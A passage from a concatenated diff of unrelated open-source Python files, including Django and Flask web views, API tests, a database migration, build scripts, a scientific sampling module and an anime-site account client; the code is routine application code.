b/pool/shard000/Python/0007839_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..116aa9297bdb95d5c64a9c10e21a3dced65273d1 --- /dev/null +++ b/pool/shard000/Python/0007839_urls.py @@ -0,0 +1,12 @@ +from django.conf.urls import url + +from . import views + +urlpatterns = [ + url(r'^$', views.SpamList.as_view(), name='spam'), + url(r'^user/id-(?P[a-z0-9]+)/$', views.UserSpamList.as_view(), + name='user_spam'), + url(r'^id-(?P[a-z0-9]+)/$', views.SpamDetail.as_view(), + name='detail'), + url(r'^id-(?P[a-z0-9]+)/email/$', views.email, name='email'), +] diff --git a/pool/shard000/Python/0007841_HeadHTTPRedirectHandler.py b/pool/shard000/Python/0007841_HeadHTTPRedirectHandler.py new file mode 100644 index 0000000000000000000000000000000000000000..f50205ac5286d32372f4124c9a46a5a1c74ac4c5 --- /dev/null +++ b/pool/shard000/Python/0007841_HeadHTTPRedirectHandler.py @@ -0,0 +1,23 @@ +import urllib.request + +# We need to define a custom handler for 'urllib' in order to correctly handle +# HTTP HEAD requests. +# Based on code from original source: https://filippo.io/send-a-head-request-in-python/ +class HeadHTTPRedirectHandler(urllib.request.HTTPRedirectHandler): + """ + Subclass the HTTPRedirectHandler to make it use our + HeadRequest also on the redirected URL + """ + def redirect_request(self, req, fp, code, msg, headers, newurl): + if code in (301, 302, 303, 307): + newurl = newurl.replace(' ', '%20') + return HeadRequest(newurl, + headers=req.headers, + origin_req_host=req.origin_req_host, + unverifiable=True) + else: + raise urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp) + +class HeadRequest(urllib.request.Request): + def get_method(self): + return "HEAD" diff --git a/pool/shard000/Python/0007844_category.py b/pool/shard000/Python/0007844_category.py new file mode 100644 index 0000000000000000000000000000000000000000..b95d8a723cc06566b66635a91d3690e02e3b5f24 --- /dev/null +++ b/pool/shard000/Python/0007844_category.py @@ -0,0 +1,99 @@ +#!/usr/bin/env python +# 2015 Copyright (C) White +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, version 2 of the License. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + + +from flask import render_template, redirect, url_for + +from flask import g, request, current_app +from flask import jsonify +from flask import session + +from white.controller import admin_bp as bp, ADMIN, EDITOR +from white.security import security +from white.orm import Backend +from white.model import Category + +from white.domain.category import CategoryService +from white.lang import text +from white.flash import flash +from white.lib.validator import Validator + +category_service = CategoryService() + + +@bp.route('/category') +@bp.route('/category/') +@security(ADMIN) +def category_page(page=1): + pagination = category_service.page(page) + return render_template('admin/category/index.html', + categories=pagination) + + +@bp.route('/category/add', methods=['GET', 'POST']) +@security(ADMIN) +def category_add(): + if request.method == 'GET': + return render_template('admin/category/add.html') + + reqp = request.form + title = reqp.get('title') + slug = reqp.get('slug') + description = reqp.get('description') + + validator = Validator() + validator.check(title, 'min', text('category.title_missing'), 1) + if validator.errors: + flash(validator.errors, 'error') + return render_template('admin/category/add.html') + + category_service.add_category(title, slug, description) + return redirect(url_for('admin.category_page')) + + +@bp.route('/category//edit', methods=['GET', 'POST']) +@security(ADMIN) +def category_edit(category_id): + if request.method == 'GET': + category = category_service.get_by_cid(category_id) + return render_template('admin/category/edit.html', category=category) + + p = request.form.get + title = p('title') + slug = p('slug') + description = p('description') + + validator = Validator() + validator.check(title, 'min', text('category.title_missing'), 1) + if validator.errors: + flash(validator.errors, 'error') + return redirect(url_for('admin.category_edit', category_id=category_id)) + + category = category_service.update_category( + category_id, title, slug, description) + flash(text('category.updated'), 'success') + return redirect(url_for('admin.category_edit', category_id=category.cid)) + + +@bp.route('/category//delete', methods=['GET', 'POST']) +@security(ADMIN) +def category_delete(category_id): + if category_id == 1: + flash('The Uncategory cann\'t delete', 'error') + return redirect(url_for('admin.category_page')) + + category_service.delete(category_id) + flash(text('category.deleted'), 'success') + return redirect(url_for('admin.category_page')) diff --git a/pool/shard000/Python/0007854_views.py b/pool/shard000/Python/0007854_views.py new file mode 100644 index 0000000000000000000000000000000000000000..92ada72deea98979c941c88045aa73e23c6bfbcc --- /dev/null +++ b/pool/shard000/Python/0007854_views.py @@ -0,0 +1,50 @@ +"""Views for the outlets app.""" +from django.core.urlresolvers import reverse +from django.http import Http404 +from django.views.generic import DetailView, ListView +from django.shortcuts import get_object_or_404, redirect + +from . import models + + +class OutletsListView(ListView): + """Lists the outlets of one country.""" + model = models.Outlet + + def dispatch(self, request, *args, **kwargs): + slug = kwargs.get('slug', '') + self.all_countries = models.OutletCountry.objects.all() + if slug: + self.country = get_object_or_404(models.OutletCountry, slug=slug) + else: + try: + first_country = self.all_countries[0] + except IndexError: + raise Http404 + else: + return redirect(reverse('outlets_list', kwargs={ + 'slug': first_country.slug})) + return super(OutletsListView, self).dispatch(request, *args, **kwargs) + + def get_queryset(self): + return self.model.objects.filter(country=self.country) + + def get_context_data(self, **kwargs): + ctx = super(OutletsListView, self).get_context_data(**kwargs) + ctx.update({ + 'country': self.country, + 'all_countries': self.all_countries, + }) + return ctx + + +class MapMarkerInfoboxAJAXView(DetailView): + """Renders the template for the map marker information bubble.""" + model = models.Outlet + template_name = 'outlets/outlet_map_marker.html' + + def dispatch(self, request, *args, **kwargs): + if not request.is_ajax(): + raise Http404 + return super(MapMarkerInfoboxAJAXView, self).dispatch( + request, *args, **kwargs) diff --git a/pool/shard000/Python/0007856_test_default_controller.py b/pool/shard000/Python/0007856_test_default_controller.py new file mode 100644 index 0000000000000000000000000000000000000000..976d5446b78c5b6dcea38e0e329e20e23cd8671d --- /dev/null +++ b/pool/shard000/Python/0007856_test_default_controller.py @@ -0,0 +1,87 @@ +# coding: utf-8 + +from __future__ import absolute_import + +from swagger_server.models.asset import Asset +from swagger_server.models.asset_details import AssetDetails +from swagger_server.models.error_model import ErrorModel +from . import BaseTestCase +from six import BytesIO +from flask import json + + +class TestDefaultController(BaseTestCase): + """ DefaultController integration test stubs """ + + def test_add_asset(self): + """ + Test case for add_asset + + + """ + passcase = { + "class": "dish", + "name": "name_example", + "type": "antenna" + } + asset = Asset().from_dict(passcase) + headers = [('X-User', 'admin')] + response = self.client.open('/api/assets', + method='POST', + data=json.dumps(asset), + headers=headers, + content_type='application/json') + self.assert200(response, "Response body is : " + + response.data.decode('utf-8')) + + def test_find_asset_by_name(self): + """ + Test case for find_asset_by_name + + + """ + response = self.client.open('/api/assets/{name}'.format(name='name_example'), + method='GET', + content_type='application/json') + self.assert200(response, "Response body is : " + + response.data.decode('utf-8')) + + def test_find_assets(self): + """ + Test case for find_assets + + + """ + query_string = [('tags', 'antenna')] + response = self.client.open('/api/assets', + method='GET', + content_type='application/json', + query_string=query_string) + self.assert200(response, "Response body is : " + + response.data.decode('utf-8')) + + def test_update_asset_by_name(self): + """ + Test case for update_asset_by_name + + + """ + passcase = { + "type": "diameter", + "value": "23.3455" + } + + assetDetails = [AssetDetails().from_dict(passcase)] + headers = [('X-User', 'admin')] + response = self.client.open('/api/assets/{name}'.format(name='name_example'), + method='PATCH', + data=json.dumps(assetDetails), + headers=headers, + content_type='application/json') + self.assert200(response, "Response body is : " + + response.data.decode('utf-8')) + + +if __name__ == '__main__': + import unittest + unittest.main() diff --git a/pool/shard000/Python/0007857_43e49e93f5d_m2m_change.py b/pool/shard000/Python/0007857_43e49e93f5d_m2m_change.py new file mode 100644 index 0000000000000000000000000000000000000000..351dbf3fbd6bd429bbc621c8e940774fcfa904b7 --- /dev/null +++ b/pool/shard000/Python/0007857_43e49e93f5d_m2m_change.py @@ -0,0 +1,124 @@ +"""M2M Change + +Revision ID: 43e49e93f5d +Revises: 59333101ef2 +Create Date: 2014-04-10 15:36:40.970441 + +""" + +# revision identifiers, used by Alembic. +revision = '43e49e93f5d' +down_revision = '59333101ef2' + +from datetime import datetime + +from alembic import op +import sqlalchemy as sa + + +def upgrade(): + + connection = op.get_bind() + + # Create the device_series table as per the default alembic generated code. + op.create_table( + 'device_series', + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('created_at', sa.DateTime(), nullable=False), + sa.Column('series_id', sa.Integer(), nullable=False), + sa.Column('device_id', sa.Integer(), nullable=False), + sa.ForeignKeyConstraint(['device_id'], ['device.id'], ), + sa.ForeignKeyConstraint(['series_id'], ['series.id'], ), + sa.PrimaryKeyConstraint('id'), + sa.UniqueConstraint('series_id', 'device_id', name='_series_device_uc') + ) + + # Add the relation to the new table in data_point, but remove the + # nullable=False parameter. We need to allow nulls initially. + op.add_column('data_point', sa.Column('device_series_id', sa.Integer())) + + # Create two hybrid tables that represent the new table and the old + # data_point table with the new relationship column. + data_point_migrator = sa.Table( + 'data_point', + sa.MetaData(), + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('created_at', sa.DateTime(), nullable=False), + sa.Column('value', sa.Numeric(), nullable=False), + sa.Column('series_id', sa.Integer(), nullable=True), + sa.Column('device_id', sa.Integer(), nullable=True), + sa.Column('device_series_id', sa.Integer(), nullable=True), + ) + + device_series_migrator = sa.Table( + 'device_series', + sa.MetaData(), + sa.Column('id', sa.Integer(), nullable=False), + sa.Column('created_at', sa.DateTime(), nullable=False), + sa.Column('series_id', sa.Integer(), nullable=True), + sa.Column('device_id', sa.Integer(), nullable=True), + ) + + # We know the unique constraint on device_services, so store them as we go + # to make things a bit faster. + seen_device_series = {} + + # Iterate through all of the data points. We want to extract the relation + # on data_point to series and device and put it in the new device_series + # table. + for data_point in connection.execute(data_point_migrator.select()): + + # Pull the data from data_point. + s_id = data_point.series_id + d_id = data_point.device_id + + # Insert into device_series if it doesn't already exist. + if (s_id, d_id) not in seen_device_series: + + # Simple insert, just use utcnow - we don't care much about that + # it will be more useful for future inserts. + connection.execute( + device_series_migrator.insert() + .values(series_id=s_id, device_id=d_id, + created_at=datetime.utcnow())) + + # After inserting, grab it back. We need to get the ID. + r = connection.execute( + device_series_migrator + .select().where( + device_series_migrator.c.series_id == s_id, + ).where( + device_series_migrator.c.device_id == d_id + )) + + # cache the result for future iterations. + seen_device_series[(s_id, d_id)] = dict(r.first()) + + device_series = seen_device_series[(s_id, d_id)] + + # Update the data_point table to populate the new device_series_id. + connection.execute( + data_point_migrator.update().where( + data_point_migrator.c.id == data_point.id + ).values( + device_series_id=device_series['id'] + ) + ) + + # Ok, now its fully populated. Disable nulls on the col. If there are still + # nulls we will get an error here, so its a good sanity check. + op.alter_column('data_point', 'device_series_id', nullable=False) + + # Finally, drop the two original columns as per the end of the original + # alembic code. + op.drop_column('data_point', 'series_id') + op.drop_column('data_point', 'device_id') + + +def downgrade(): + op.add_column( + 'data_point', sa.Column('device_id', sa.INTEGER(), nullable=True)) + op.add_column( + 'data_point', sa.Column('series_id', sa.INTEGER(), nullable=True)) + op.drop_column('data_point', 'device_series_id') + op.drop_table('device_series') diff --git a/pool/shard000/Python/0007863_init__.py b/pool/shard000/Python/0007863_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..041a771ca9abc2a54eee2c2b4e94d8a8412f0db9 --- /dev/null +++ b/pool/shard000/Python/0007863_init__.py @@ -0,0 +1,30 @@ +# Copyright 2013-2017 Luc Saffre +# License: BSD (see file COPYING for details) + +""" +Lino-Welfare extension of :mod:`lino_xl.lib.contacts` +""" + +from lino_xl.lib.contacts import Plugin + +from django.utils.text import format_lazy +from django.utils.translation import ugettext_lazy as _ + + +class Plugin(Plugin): + + use_vcard_export = False + + extends_models = ['Partner', 'Person', 'Company'] + + def setup_main_menu(self, site, user_type, main): + m = main.add_menu(self.app_label, self.verbose_name) + m.add_action('contacts.Persons') + m.add_action( + 'pcsw.Clients', + label=format_lazy(u"{}{}", + u' \u25b6 ', site.modules.pcsw.Clients.label)) + m.add_action('contacts.Companies') + m.add_separator('-') + m.add_action('contacts.Partners', label=_("Partners (all)")) + diff --git a/pool/shard000/Python/0007870_add_records.py b/pool/shard000/Python/0007870_add_records.py new file mode 100644 index 0000000000000000000000000000000000000000..e476a3423920d74fed166184e7167799e2eaf660 --- /dev/null +++ b/pool/shard000/Python/0007870_add_records.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- + +from django.core.management.base import BaseCommand +from django.db.utils import IntegrityError +from isgtool.contrib import log +from www.models import UserNotificationRecord, UserNotification + + +class Command(BaseCommand): + help = 'Import user notification records' + + def add_arguments(self, parser): + parser.add_argument('file_name', help='UID list\'s file name') + + def handle(self, *args, **options): + logger = log(self) + logger.info(u'Start records import') + notification = UserNotification.objects.get_active() + logger.info(u'Active notification: {}'.format(notification.name)) + counter = 0 + for line in open(options['file_name']): + uid = line.strip() + logger.debug(u'Create record for the UID {}'.format(uid)) + try: + record = UserNotificationRecord.objects.create(uid=uid, notification=notification) + except IntegrityError: + logger.debug(u'UID {} already exists'.format(uid)) + else: + logger.debug(u'Create record #{0} for the UID {1}'.format(record.id, uid)) + counter += 1 + + logger.info(u'Records import finished. {0} new items were imported.'.format(counter)) \ No newline at end of file diff --git a/pool/shard000/Python/0007881_build.py b/pool/shard000/Python/0007881_build.py new file mode 100644 index 0000000000000000000000000000000000000000..59695d98c53a70f9f205db9fc197f57a6844aa52 --- /dev/null +++ b/pool/shard000/Python/0007881_build.py @@ -0,0 +1,57 @@ +from pybuilder.core import use_plugin, init, Author + +use_plugin("python.install_dependencies") +use_plugin("python.core") +use_plugin("python.unittest") +use_plugin("python.distutils") +use_plugin('copy_resources') +#use_plugin('filter_resources') + +authors = [Author('Marco Hoyer', 'marco_hoyer@gmx.de')] +description = """checl_graphite: a nagios/icinga plugin checking graphite metrics. + +for more documentation, visit https://github.com/marco-hoyer/check_graphite +""" + +name = 'check_graphite' +license = 'GNU GPL v3' +summary = 'check_graphite - graphite metrics check plugin' +url = 'https://github.com/marco-hoyer/check_graphite' +version = '1.0' + +default_task = ['publish'] + +@init +def initialize(project): + + project.depends_on("urllib2") + project.depends_on("argparse") + project.build_depends_on("unittest2") + + project.set_property('copy_resources_target', '$dir_dist') + project.get_property('copy_resources_glob').append('setup.cfg') + + project.set_property('distutils_classifiers', [ + 'Development Status :: 4 - Beta', + 'Environment :: Web Environment', + 'Intended Audience :: Developers', + 'Intended Audience :: System Administrators', + 'Programming Language :: Python', + 'Natural Language :: English', + 'Operating System :: POSIX :: Linux', + 'Topic :: System :: Monitoring', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Programming Language :: Python :: 3', + 'License :: OSI Approved :: MIT License', + ]) + + +@init(environments='teamcity') +def set_properties_for_teamcity_builds(project): + import os + + project.version = '%s-%s' % (project.version, os.environ.get('BUILD_NUMBER', 0)) + project.default_task = ['install_dependencies', 'package'] + project.set_property('install_dependencies_use_mirrors', False) + project.get_property('distutils_commands').append('bdist_rpm') diff --git a/pool/shard000/Python/0007885_plot.py b/pool/shard000/Python/0007885_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..0a725706eb3e23427f8c2dd6b8116a79ecd0c5a5 --- /dev/null +++ b/pool/shard000/Python/0007885_plot.py @@ -0,0 +1,13 @@ +import matplotlib.pyplot as plt +import numpy as np +import sys + +filename = sys.argv[1] + +data = np.loadtxt(filename) + +plt.figure() +plt.hist(data) +plt.xlabel("# emulations (mean/std=" + str(round(np.mean(data),1)) + "/" + str(round(np.std(data),1)) + ")") +plt.ylabel("p") +plt.show() diff --git a/pool/shard000/Python/0007897_test_single_NON.py b/pool/shard000/Python/0007897_test_single_NON.py new file mode 100644 index 0000000000000000000000000000000000000000..073fb25a446536e30f4db9ab598a145b3d6945fe --- /dev/null +++ b/pool/shard000/Python/0007897_test_single_NON.py @@ -0,0 +1,39 @@ +import logging +import testUtils as utils + +import time +import threading + +from conftest import IPADDRESS1, \ + RESOURCE, \ + DUMMYVAL, \ + OSCORECLIENTCONTEXT +from coap import coapDefines as d, \ + coapOption as o, \ + coapObjectSecurity as oscore + +#============================ logging =============================== + +log = logging.getLogger(utils.getMyLoggerName()) +log.addHandler(utils.NullHandler()) + +#============================ tests =========================================== + +def test_GET(logFixture,snoopyDispatcher,twoEndPoints): + + (coap1,coap2, securityEnabled) = twoEndPoints + + options = [] + if securityEnabled: + context = oscore.SecurityContext(OSCORECLIENTCONTEXT) + + options = [o.ObjectSecurity(context=context)] + + # have coap2 do a get + reply = coap2.GET( + uri = 'coap://[{0}]:{1}/{2}/'.format(IPADDRESS1,d.DEFAULT_UDP_PORT,RESOURCE), + confirmable = False, + options=options, + ) + assert reply==DUMMYVAL + diff --git a/pool/shard000/Python/0007900_test_cli.py b/pool/shard000/Python/0007900_test_cli.py new file mode 100644 index 0000000000000000000000000000000000000000..4452bca1aa1c84afe92ab463786b1ea9f3172f3e --- /dev/null +++ b/pool/shard000/Python/0007900_test_cli.py @@ -0,0 +1,32 @@ +import unittest + +import pyperf +from pyperf import _cli as cli + + +class CLITests(unittest.TestCase): + def test_format_result(self): + run = pyperf.Run([1.0, 1.5, 2.0], + warmups=[(1, 3.0)], + metadata={'name': 'mybench'}, + collect_metadata=False) + bench = pyperf.Benchmark([run]) + self.assertEqual(cli.format_result_value(bench), + '1.50 sec +- 0.50 sec') + self.assertEqual(cli.format_result(bench), + 'Mean +- std dev: 1.50 sec +- 0.50 sec') + + def test_format_result_calibration(self): + run = pyperf.Run([], warmups=[(100, 1.0)], + metadata={'name': 'bench', 'loops': 100}, + collect_metadata=False) + bench = pyperf.Benchmark([run]) + self.assertEqual(cli.format_result_value(bench), + '') + self.assertEqual(cli.format_result(bench), + 'Calibration: 100 loops') + self.assertRaises(ValueError, bench.median) + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard000/Python/0007904_sample.py b/pool/shard000/Python/0007904_sample.py new file mode 100644 index 0000000000000000000000000000000000000000..c60c859b35c6765736bf9323d219a6e37a50a465 --- /dev/null +++ b/pool/shard000/Python/0007904_sample.py @@ -0,0 +1,187 @@ +from builtins import str, range + +import os +import sys +import tempfile +import pickle + +import numpy as np + +from peri import states, util +from peri.mc import samplers, engines, observers + +from peri.logger import log +log = log.getChild("mc.sample") + +#============================================================================= +# Sampling methods that run through blocks and sample +#============================================================================= +def sample_state(state, blocks, stepout=1, slicing=True, N=1, doprint=False, procedure='uniform'): + eng = engines.SequentialBlockEngine(state) + opsay = observers.Printer() + ohist = observers.HistogramObserver(block=blocks) + eng.add_samplers([ + samplers.SliceSampler1D(stepout, block=b, procedure=procedure) + for b in util.listify(blocks) + ]) + + eng.add_likelihood_observers(opsay) if doprint else None + eng.add_state_observers(ohist) + + eng.dosteps(N) + return ohist + +def scan_ll(state, element, size=0.1, N=1000): + start = state.state[element] + + ll = [] + vals = np.linspace(start-size, start+size, N) + for val in vals: + state.update(element, val) + l = state.loglikelihood + ll.append(l) + + state.update(element, start) + return vals, np.array(ll) + +def scan_noise(image, state, element, size=0.01, N=1000): + start = state.state[element] + + xs, ys = [], [] + for i in range(N): + log.info('{}'.format(i)) + test = image + np.random.normal(0, state.sigma, image.shape) + x,y = sample_ll(test, state, element, size=size, N=300) + state.update(element, start) + xs.append(x) + ys.append(y) + + return xs, ys + +def sample_particles(state, stepout=1, start=0, quiet=False): + if not quiet: + log.info('{:-^39}'.format(' POS / RAD ')) + for particle in state.active_particles(): + if not quiet: + log.info('{}'.format(particle)) + sys.stdout.flush() + + blocks = state.blocks_particle(particle) + sample_state(state, blocks, stepout=stepout) + + return state.state.copy() + +def sample_particle_pos(state, stepout=1, start=0, quiet=False): + if not quiet: + log.info('{:-^39}'.format(' POS ')) + + for particle in state.active_particles(): + if not quiet: + log.info('{}'.format(particle)) + sys.stdout.flush() + + blocks = state.blocks_particle(particle)[:-1] + sample_state(state, blocks, stepout=stepout) + + return state.state.copy() + +def sample_particle_rad(state, stepout=1, start=0, quiet=False): + if not quiet: + log.info('{:-^39}'.format(' RAD ')) + + for particle in state.active_particles(): + if not quiet: + log.info('{}'.format(particle)) + + sys.stdout.flush() + + blocks = [state.blocks_particle(particle)[-1]] + sample_state(state, blocks, stepout=stepout) + + return state.state.copy() + +def sample_block(state, blockname, explode=True, stepout=0.1, quiet=False): + if not quiet: + log.info('{:-^39}'.format(' '+blockname.upper()+' ')) + + blocks = [state.create_block(blockname)] + + if explode: + blocks = state.explode(blocks[0]) + + return sample_state(state, blocks, stepout) + +def sample_block_list(state, blocklist, stepout=0.1, quiet=False): + for bl in blocklist: + sample_block(state, bl, stepout=stepout, quiet=quiet) + return state.state.copy(), state.loglikelihood + +def do_samples(s, sweeps, burn, stepout=0.1, save_period=-1, + prefix='peri', save_name=None, sigma=True, pos=True, quiet=False, postfix=None): + h = [] + ll = [] + if not save_name: + with tempfile.NamedTemporaryFile(suffix='.peri-state.pkl', prefix=prefix) as f: + save_name = f.name + + for i in range(sweeps): + if save_period > 0 and i % save_period == 0: + with open(save_name, 'w') as tfile: + pickle.dump([s,h,ll], tfile, protocol=2) + + if postfix is not None: + states.save(s, desc=postfix, extra=[np.array(h),np.array(ll)]) + + if not quiet: + log.info('{:=^79}'.format(' Sweep '+str(i)+' ')) + + #sample_particles(s, stepout=stepout) + if pos: + sample_particle_pos(s, stepout=stepout, quiet=quiet) + sample_particle_rad(s, stepout=stepout, quiet=quiet) + sample_block(s, 'psf', stepout=stepout, quiet=quiet) + sample_block(s, 'ilm', stepout=stepout, quiet=quiet) + sample_block(s, 'off', stepout=stepout, quiet=quiet) + sample_block(s, 'zscale', stepout=stepout, quiet=quiet) + + if s.bkg: + sample_block(s, 'bkg', stepout=stepout, quiet=quiet) + + if s.slab: + sample_block(s, 'slab', stepout=stepout, quiet=quiet) + + if sigma and s.nlogs: + sample_block(s, 'sigma', stepout=stepout/10, quiet=quiet) + + if i >= burn: + h.append(s.state.copy()) + ll.append(s.loglikelihood) + + if save_period > 0 and save_name: + os.remove(save_name) + + h = np.array(h) + ll = np.array(ll) + return h, ll + +def do_blocks(s, blocks, sweeps, burn, stepout=0.1, postfix=None, quiet=False): + h, ll = [], [] + + for i in range(sweeps): + if postfix is not None: + states.save(s, desc=postfix, extra=[np.array(h),np.array(ll)]) + + if not quiet: + log.info('{:=^79}'.format(' Sweep '+str(i)+' ')) + + sample_state(s, blocks, stepout=stepout, N=1, doprint=~quiet) + + if i >= burn: + h.append(s.state.copy()) + ll.append(s.loglikelihood) + + h = np.array(h) + ll = np.array(ll) + return h, ll + + diff --git a/pool/shard000/Python/0007913_auth.py b/pool/shard000/Python/0007913_auth.py new file mode 100644 index 0000000000000000000000000000000000000000..e9f13d51ed1a5631d433b41d1d78e8ab8c364402 --- /dev/null +++ b/pool/shard000/Python/0007913_auth.py @@ -0,0 +1,26 @@ +# Copyright 2016 rpaas authors. All rights reserved. +# Use of this source code is governed by a BSD-style +# license that can be found in the LICENSE file. + +import functools +import os + +import flask + + +def check_auth(auth): + username = os.environ.get("API_USERNAME") + password = os.environ.get("API_PASSWORD") + if not username or not password: + return True + return auth and auth.username == username and auth.password == password + + +def required(fn): + @functools.wraps(fn) + def decorated(*args, **kwargs): + auth = flask.request.authorization + if not check_auth(auth): + return "you do not have access to this resource", 401 + return fn(*args, **kwargs) + return decorated diff --git a/pool/shard000/Python/0007918_bisearch.py b/pool/shard000/Python/0007918_bisearch.py new file mode 100644 index 0000000000000000000000000000000000000000..11d4579087239922d702c6084959a02b41c843dd --- /dev/null +++ b/pool/shard000/Python/0007918_bisearch.py @@ -0,0 +1,64 @@ +## +# Copyright 2009-2017 Ghent University +# +# This file is part of EasyBuild, +# originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), +# with support of Ghent University (http://ugent.be/hpc), +# the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), +# Flemish Research Foundation (FWO) (http://www.fwo.be/en) +# and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). +# +# http://github.com/hpcugent/easybuild +# +# EasyBuild is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation v2. +# +# EasyBuild is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with EasyBuild. If not, see . +## +""" +EasyBuild support for BiSearch, implemented as an easyblock + +@author: Stijn De Weirdt (Ghent University) +@author: Dries Verdegem (Ghent University) +@author: Kenneth Hoste (Ghent University) +@author: Pieter De Baets (Ghent University) +@author: Jens Timmerman (Ghent University) +""" +import os + +from easybuild.easyblocks.generic.packedbinary import PackedBinary +from easybuild.tools.run import run_cmd_qa + + +class EB_BiSearch(PackedBinary): + """ + Support for building BiSearch. + Basically just run the interactive installation script install.sh. + """ + + def install_step(self): + cmd = "./install.sh" + + qanda = { + 'Please enter the BiSearch root directory: ': self.installdir, + 'Please enter the path of c++ compiler [/usr/bin/g++]: ': os.getenv('CXX') + } + + no_qa = [r'Compiling components\s*\.*'] + + run_cmd_qa(cmd, qanda, no_qa=no_qa, log_all=True, simple=True) + + def sanity_check_step(self): + """Custom sanity check for BiSearch.""" + custom_paths = { + 'files':['bin/%s' % x for x in ['fpcr', 'indexing_cdna', 'indexing_genome', 'makecomp']], + 'dirs':[], + } + super(EB_BiSearch, self).sanity_check_step(custom_paths=custom_paths) diff --git a/pool/shard000/Python/0007923_account.py b/pool/shard000/Python/0007923_account.py new file mode 100644 index 0000000000000000000000000000000000000000..72fbcaa1f9767c86dbb478aa56d207cee8fea881 --- /dev/null +++ b/pool/shard000/Python/0007923_account.py @@ -0,0 +1,258 @@ +__authors__ = "" +__copyright__ = "(c) 2014, pymal" +__license__ = "BSD License" +__contact__ = "Name Of Current Guardian of this file " + +from urllib import request + +import requests +import singleton_factory + +from pymal import global_functions +from pymal.decorators import load +from pymal.consts import HOST_NAME + +__all__ = ['Account'] + + +class Account(object, metaclass=singleton_factory.SingletonFactory): + """ + Object that keeps all the account data in MAL. + """ + + __AUTH_CHECKER_URL =\ + request.urljoin(HOST_NAME, r'api/account/verify_credentials.xml') + + __MY_LOGIN_URL = request.urljoin(HOST_NAME, 'login.php') + __DATA_FORM = 'user_name={0:s}&password={1:s}&cookie=1&sublogin=Login&submit=1' + + def __init__(self, username: str, password: str or None=None): + """ + :param username: The account username. + :type username: str + :param password: Required for quick connection, instead of calling later change_password. + :type password: str or None + """ + from pymal.account_objects import account_animes, account_mangas + + self.__username = username + self.__password = password + self.connect = global_functions.connect + self.__user_id = None + self.__auth_object = None + + self._main_profile_url = request.urljoin(HOST_NAME, 'profile/{0:s}'.format(self.username)) + + self.__animes = account_animes.AccountAnimes(self) + self.__mangas = account_mangas.AccountMangas(self) + self.__friends = None + self.__image_url = "" + + self.__session = global_functions.generate_session() + + self._is_loaded = False + + if password is not None: + self.change_password(password) + + @property + def username(self) -> str: + """ + + :returns: the user name. + :rtype: str + """ + return self.__username + + @property + def user_id(self) -> int: + """ + :returns: the user id. If unknown loading it. + :rtype: int + """ + if self.__user_id is None: + import bs4 + + ret = self.connect(self._main_profile_url) + html = bs4.BeautifulSoup(ret) + bla = html.find(name='input', attrs={'name': 'profileMemId'}) + self.__user_id = int(bla['value']) + return self.__user_id + + @property + def mangas(self): + """ + :returns: list of account's mangas. + :rtype: :class:`account_objects.account_mangas.AccountMangas` + """ + return self.__mangas + + @property + def animes(self): + """ + :returns: list of account's animes. + :rtype: :class:`account_objects.account_animes.AccountAnimes` + """ + return self.__animes + + @property + def friends(self) -> set: + """ + :returns: list of account's friends. + :rtype: :class:`account_objects.account_friends.AccountFriends` + """ + from pymal.account_objects import account_friends + + if self.__friends is None: + self.__friends = account_friends.AccountFriends(self) + return self.__friends + + def search(self, search_line: str, is_anime: bool=True) -> map: + """ + Searching like regular search but switching all the object in "my" lists to the "my" objects. + + :param search_line: the search line. + :type search_line: str + :param is_anime: True is searching for anime, False for manga. + :type is_anime: bool + :returns: searched objects + :rtype: map + """ + from pymal import searches + + if is_anime: + results = searches.search_animes(search_line) + account_object_list = self.animes + else: + results = searches.search_mangas(search_line) + account_object_list = self.mangas + + def get_object(result): + if result not in account_object_list: + return result + # if account_object_list was set: + # return account_object_list.intersection([result]).pop() + return list(filter( + lambda x: x == result, + account_object_list + ))[0] + return map(get_object, results) + + def change_password(self, password: str) -> bool: + """ + Checking if the new password is valid + + :param password: password + :type password: str + :returns: True if password is right. + :rtype: bool + :exception exceptions.FailedToParseError: when failed + """ + from xml.etree import ElementTree + from requests.auth import HTTPBasicAuth + from pymal import exceptions + + self.__auth_object = HTTPBasicAuth(self.username, password) + data = self.auth_connect(self.__AUTH_CHECKER_URL) + if data == 'Invalid credentials': + self.__auth_object = None + self.__password = None + return False + xml_user = ElementTree.fromstring(data) + + if 'user' != xml_user.tag: + raise exceptions.FailedToParseError('user == {0:s}'.format(xml_user.tag)) + l = list(xml_user) + xml_username = l[1] + if 'username' != xml_username.tag: + raise exceptions.FailedToParseError('username == {0:s}'.format(xml_username.tag)) + if self.username != xml_username.text.strip(): + raise exceptions.FailedToParseError('username = {0:s}'.format(xml_username.text.strip())) + + xml_id = l[0] + if 'id' != xml_id.tag: + raise exceptions.FailedToParseError('id == {0:s}'.format(xml_id.tag)) + if self.user_id != int(xml_id.text): + raise exceptions.FailedToParseError() + + self.__password = password + + data_form = self.__DATA_FORM.format(self.username, password).encode('utf-8') + headers = { + 'content-type': 'application/x-www-form-urlencoded', + 'name': 'loginForm', + } + + self.auth_connect(self.__MY_LOGIN_URL, data=data_form, headers=headers) + + return True + + def auth_connect(self, url: str, data: str or None=None, + headers: dict or None=None) -> str: + """ + :param url: The url to get. + :type url: str + :param data: The data to pass (will change the request to "POST") + :type data: str or None + :param headers: Headers for the request. + :type headers: dict or None 